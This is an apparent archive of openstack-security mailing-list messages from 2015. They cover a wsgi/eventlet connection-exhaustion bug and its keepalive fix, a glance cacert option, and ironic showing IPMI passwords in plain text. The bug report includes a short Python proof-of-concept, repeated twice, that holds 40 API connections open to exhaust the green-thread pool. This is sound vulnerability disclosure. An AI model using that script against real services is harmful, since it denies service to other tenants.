From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 29 Jan 2015 10:37:27 +0000 Subject: [Openstack-security] [openstack/nova] SecurityImpact review request change I399b812f6d452226fd306c423de8dcea8520d2aa Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/138368 Log: commit 965fd3059eff0fdc7228754742042bbff3abf705 Author: abhishekkekane Date: Tue Oct 21 01:37:42 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Add a parameter to take advantage of the new(ish) eventlet socket timeout behaviour. Allows closing idle client connections after a period of time, eg: $ time nc localhost 8776 real 1m0.063s Setting 'client_socket_timeout = 0' means do not timeout. DocImpact: Added wsgi_keep_alive option (default=True). Added client_socket_timeout option (default=0). Conflicts: nova/tests/unit/test_wsgi.py Note: The required unit-tests are manually added to the below path, as new path for unit-tests is not present in stable/juno release. nova/tests/compute/test_host_api.py This patch is not 1:1 cherry-pick, I have changed the default value of client_socket_timeout to 0, as per the policy for changes to stable branches. (https://wiki.openstack.org/wiki/StableBranch#Appropriate_Fixes) SecurityImpact Closes-Bug: #1361360 Change-Id: I399b812f6d452226fd306c423de8dcea8520d2aa (cherry picked from commit 04d7a724fdf80db51e73f12c5b8c982db9310742) From chuck.short at canonical.com Thu Jan 29 15:59:30 2015 From: chuck.short at canonical.com (Chuck Short) Date: Thu, 29 Jan 2015 15:59:30 -0000 Subject: [Openstack-security] [Bug 1361360] Re: Eventlet green threads not released back to the pool leading to choking of new requests References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150129155930.29923.44771.launchpad@wampee.canonical.com> ** Also affects: neutron/juno Importance: Undecided Status: New ** Changed in: neutron/juno Status: New => Fix Committed ** Changed in: neutron/juno Milestone: None => 2014.2.2 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Committed Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): In Progress Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Committed Status in neutron icehouse series: New Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: New Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From 1361360 at bugs.launchpad.net Fri Jan 30 06:37:17 2015 From: 1361360 at bugs.launchpad.net (OpenStack Infra) Date: Fri, 30 Jan 2015 06:37:17 -0000 Subject: [Openstack-security] [Bug 1361360] Fix merged to nova (stable/juno) References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150130063717.28727.56332.malone@gac.canonical.com> Reviewed: https://review.openstack.org/138368 Committed: https://git.openstack.org/cgit/openstack/nova/commit/?id=965fd3059eff0fdc7228754742042bbff3abf705 Submitter: Jenkins Branch: stable/juno commit 965fd3059eff0fdc7228754742042bbff3abf705 Author: abhishekkekane Date: Tue Oct 21 01:37:42 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Add a parameter to take advantage of the new(ish) eventlet socket timeout behaviour. Allows closing idle client connections after a period of time, eg: $ time nc localhost 8776 real 1m0.063s Setting 'client_socket_timeout = 0' means do not timeout. DocImpact: Added wsgi_keep_alive option (default=True). Added client_socket_timeout option (default=0). Conflicts: nova/tests/unit/test_wsgi.py Note: The required unit-tests are manually added to the below path, as new path for unit-tests is not present in stable/juno release. nova/tests/compute/test_host_api.py This patch is not 1:1 cherry-pick, I have changed the default value of client_socket_timeout to 0, as per the policy for changes to stable branches. (https://wiki.openstack.org/wiki/StableBranch#Appropriate_Fixes) SecurityImpact Closes-Bug: #1361360 Change-Id: I399b812f6d452226fd306c423de8dcea8520d2aa (cherry picked from commit 04d7a724fdf80db51e73f12c5b8c982db9310742) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Committed Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): In Progress Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Committed Status in neutron icehouse series: New Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: New Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From gerrit2 at review.openstack.org Fri Jan 30 07:14:11 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Fri, 30 Jan 2015 07:14:11 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I93aaca24935a4f3096210233097dd6b8c5440176 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/130839 Log: commit 749f7349c33368f8f2b0504384cd69b11d01f365 Author: abhishekkekane Date: Tue Oct 21 04:39:59 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections. Hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. DocImpact: Added wsgi_keep_alive option (default=True). SecurityImpact Closes-Bug: #1361360 Change-Id: I93aaca24935a4f3096210233097dd6b8c5440176 From icordasc+launchpad at coglib.com Fri Jan 30 21:45:37 2015 From: icordasc+launchpad at coglib.com (Ian Cordasco) Date: Fri, 30 Jan 2015 21:45:37 -0000 Subject: [Openstack-security] [Bug 1375857] Re: It's not possibile to pass the cacert to the swift store References: <20140930152151.17678.6371.malonedeb@chaenomeles.canonical.com> Message-ID: <20150130214539.995.42686.launchpad@chaenomeles.canonical.com> ** Changed in: glance-store Status: In Progress => Fix Committed -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1375857 Title: It's not possibile to pass the cacert to the swift store Status in OpenStack Image Registry and Delivery Service (Glance): Fix Committed Status in OpenStack Glance backend store-drivers library (glance_store): Fix Committed Bug description: The swift store device defined in the glance store doesn't allow to pass the ca cert file. When the driver creates a connection via the swift client it is not possible to pass that value. That means that if we have swift running on TLS in some cases we have to set the insecure option equals to True as the client can't correctly complete the handshake as it fails on the verification of the cert. The fix I'd like to propose is to add a new parameter to define the ca cert file and pass this value when we create the connection via the swift client. To manage notifications about this bug go to: https://bugs.launchpad.net/glance/+bug/1375857/+subscriptions From 1406191 at bugs.launchpad.net Wed Jan 28 05:25:40 2015 From: 1406191 at bugs.launchpad.net (OpenStack Infra) Date: Wed, 28 Jan 2015 05:25:40 -0000 Subject: [Openstack-security] [Bug 1406191] Re: node-show discloses credentials as plain text in driver_info References: <20141229065345.16652.7904.malonedeb@soybean.canonical.com> Message-ID: <20150128051803.28894.44004.malone@gac.canonical.com> Fix proposed to branch: master Review: https://review.openstack.org/150688 ** Changed in: ironic Status: Confirmed => In Progress -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1406191 Title: node-show discloses credentials as plain text in driver_info Status in OpenStack Bare Metal Provisioning Service (Ironic): In Progress Bug description: [root at rhel7-vm ~]# ironic node-show b0860248-bf1d-4803-bdc3-5bb42852841c +------------------------+--------------------------------------------------------------------------+ | Property | Value | +------------------------+--------------------------------------------------------------------------+ | instance_uuid | bdaf5cc9-de8f-407e-890a-d4b6c1e3e602 | | target_power_state | None | | properties | {u'memory_mb': u'1024', u'cpu_arch': u'x86_64', u'local_gb': u'10', | | | u'cpus': u'1'} | | maintenance | False | | driver_info | {u'pxe_deploy_ramdisk': u'503e88d9-637c-4369-b8e0-2b2531c0eeb2', | | | u'ipmi_terminal_port': u'1234', u'ipmi_username': u'username', | | | u'ipmi_address': u'9.9.9.9', u'ipmi_password': u'password', | | | u'pxe_deploy_kernel': u'1e676e34-1294-4a17-afba-cd5c358cd314'} | | extra | {} | | last_error | None | | created_at | 2014-12-19T07:13:50+00:00 | | target_provision_state | deploy complete | | driver | pxe_ipmitool | | updated_at | 2014-12-29T04:52:29+00:00 | | instance_info | {u'ramdisk': u'b30a4441-b975-432d-8878-573de2aba297', u'kernel': u | | | '490b7edd-dfe9-4842-80ed-033c788b37d1', u'root_gb': u'10', | | | u'image_source': u'8d860e96-61f9-4070-8b09-4c8037c104c7', u'deploy_key': | | | u'2AX7KT8DXGU395SOA06J676YAC7AVA60', u'swap_mb': u'0'} | | chassis_uuid | | | provision_state | wait call-back | | reservation | None | | power_state | power on | | console_enabled | False | | uuid | b0860248-bf1d-4803-bdc3-5bb42852841c | +------------------------+--------------------------------------------------------------------------+ [root at rhel7-vm ~]# Log file will not show the password - 'ipmi_password': '' So can we hide the password in ironic client side? To manage notifications about this bug go to: https://bugs.launchpad.net/ironic/+bug/1406191/+subscriptions From 1406191 at bugs.launchpad.net Wed Jan 28 06:15:45 2015 From: 1406191 at bugs.launchpad.net (Devananda van der Veen) Date: Wed, 28 Jan 2015 06:15:45 -0000 Subject: [Openstack-security] [Bug 1406191] Re: node-show discloses credentials as plain text in driver_info References: <20141229065345.16652.7904.malonedeb@soybean.canonical.com> Message-ID: <20150128060956.1154.43443.launchpad@chaenomeles.canonical.com> ** Changed in: ironic Milestone: None => kilo-2 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1406191 Title: node-show discloses credentials as plain text in driver_info Status in OpenStack Bare Metal Provisioning Service (Ironic): In Progress Bug description: [root at rhel7-vm ~]# ironic node-show b0860248-bf1d-4803-bdc3-5bb42852841c +------------------------+--------------------------------------------------------------------------+ | Property | Value | +------------------------+--------------------------------------------------------------------------+ | instance_uuid | bdaf5cc9-de8f-407e-890a-d4b6c1e3e602 | | target_power_state | None | | properties | {u'memory_mb': u'1024', u'cpu_arch': u'x86_64', u'local_gb': u'10', | | | u'cpus': u'1'} | | maintenance | False | | driver_info | {u'pxe_deploy_ramdisk': u'503e88d9-637c-4369-b8e0-2b2531c0eeb2', | | | u'ipmi_terminal_port': u'1234', u'ipmi_username': u'username', | | | u'ipmi_address': u'9.9.9.9', u'ipmi_password': u'password', | | | u'pxe_deploy_kernel': u'1e676e34-1294-4a17-afba-cd5c358cd314'} | | extra | {} | | last_error | None | | created_at | 2014-12-19T07:13:50+00:00 | | target_provision_state | deploy complete | | driver | pxe_ipmitool | | updated_at | 2014-12-29T04:52:29+00:00 | | instance_info | {u'ramdisk': u'b30a4441-b975-432d-8878-573de2aba297', u'kernel': u | | | '490b7edd-dfe9-4842-80ed-033c788b37d1', u'root_gb': u'10', | | | u'image_source': u'8d860e96-61f9-4070-8b09-4c8037c104c7', u'deploy_key': | | | u'2AX7KT8DXGU395SOA06J676YAC7AVA60', u'swap_mb': u'0'} | | chassis_uuid | | | provision_state | wait call-back | | reservation | None | | power_state | power on | | console_enabled | False | | uuid | b0860248-bf1d-4803-bdc3-5bb42852841c | +------------------------+--------------------------------------------------------------------------+ [root at rhel7-vm ~]# Log file will not show the password - 'ipmi_password': '' So can we hide the password in ironic client side? To manage notifications about this bug go to: https://bugs.launchpad.net/ironic/+bug/1406191/+subscriptions